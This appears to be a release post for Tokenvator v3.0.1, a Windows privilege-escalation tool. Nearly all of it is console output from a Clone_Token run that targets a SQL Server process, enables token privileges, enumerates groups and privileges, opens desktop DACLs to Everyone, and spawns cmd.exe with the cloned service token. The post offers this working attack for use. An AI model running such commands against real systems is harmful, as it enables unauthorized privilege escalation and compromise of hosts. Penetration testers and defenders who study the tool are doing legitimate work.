Tokenvator v3.0.1 releases: A tool to elevate privilege with Windows Tokens

C:\>Tokenvator.exe Clone_Token /Process:3824 /Command:cmd.exe

(Tokens) >

Option               Value

------               -----

process              3824

command              cmd.exe



[+] 3824 sqlservr

[*] Command: cmd.exe

[*] Arguments:

[*] If the above doesn't look correct you may need quotes



[+] SeCreateTokenPrivilege is present and enabled on the token



[-] SeSecurityPrivilege is not enabled on the token

[*] Enabling SeSecurityPrivilege on the token

[*] Adjusting Token Privilege SeSecurityPrivilege => SE_PRIVILEGE_ENABLED

 [+] Recieved luid

 [*] AdjustTokenPrivilege

 [+] Adjusted Privilege: SeSecurityPrivilege

 [+] Privilege State: SE_PRIVILEGE_ENABLED



_SECURITY_QUALITY_OF_SERVICE

_OBJECT_ATTRIBUTES

[*] Recieved Process Handle 0x02E4

[*] Recieved Token Handle 0x02E8

[+] Source: Advapi

[+] User:

S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 NT SERVICE\MSSQLSERVER

[+] Enumerated 12 Groups:

S-1-16-12288                                       Some or all identity references could not be translated.

S-1-1-0                                            Everyone

S-1-5-21-258464558-1780981397-2849438727-1005      DESKTOP-J5KC1AR\PdwComputeNodeAccess

S-1-5-32-558                                       BUILTIN\Performance Monitor Users

S-1-5-32-545                                       BUILTIN\Users

S-1-5-6                                            NT AUTHORITY\SERVICE

S-1-2-1                                            CONSOLE LOGON

S-1-5-11                                           NT AUTHORITY\Authenticated Users

S-1-5-15                                           NT AUTHORITY\This Organization

S-1-5-5-0-217494                                   Some or all identity references could not be translated.

S-1-2-0                                            LOCAL

S-1-5-80-0                                         NT SERVICE\ALL SERVICES

[*] Enumerating Token Privileges

[*] GetTokenInformation (TokenPrivileges) - Pass 1

[*] GetTokenInformation - Pass 2

[+] Enumerated 9 Privileges



Privilege Name                               Enabled

--------------                               -------

SeAssignPrimaryTokenPrivilege                False

SeIncreaseQuotaPrivilege                     False

SeShutdownPrivilege                          False

SeChangeNotifyPrivilege                      True

SeUndockPrivilege                            False

SeImpersonatePrivilege                       True

SeCreateGlobalPrivilege                      True

SeIncreaseWorkingSetPrivilege                False

SeTimeZonePrivilege                          False



[+] Owner:

S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 NT SERVICE\MSSQLSERVER

[+] Primary Group:

S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 NT SERVICE\MSSQLSERVER

[+] ACL Count: 659

[*] Updating Desktop DACL

[+] hDesktop : 0x02F0

 [+] Recieved DACL : 0x293CC0284C4

 [+] Create Everyone Sid - Pass 1 : 0x000C

 [+] Create Everyone Sid - Pass 2 : 0x293CC03F530

 [+] Added Everyone to DACL : 0x293CC03A0B0

 [+] Applied DACL to Object

[+] hWinSta0 : 0x0318

 [+] Recieved DACL : 0x293CC04B8B4

 [+] Create Everyone Sid - Pass 1 : 0x000C

 [+] Create Everyone Sid - Pass 2 : 0x293CC03F610

 [+] Added Everyone to DACL : 0x293CC053400

 [+] Applied DACL to Object

[*] CreateProcessWithTokenW

 [+] Created process: 7140

 [+] Created thread:  11228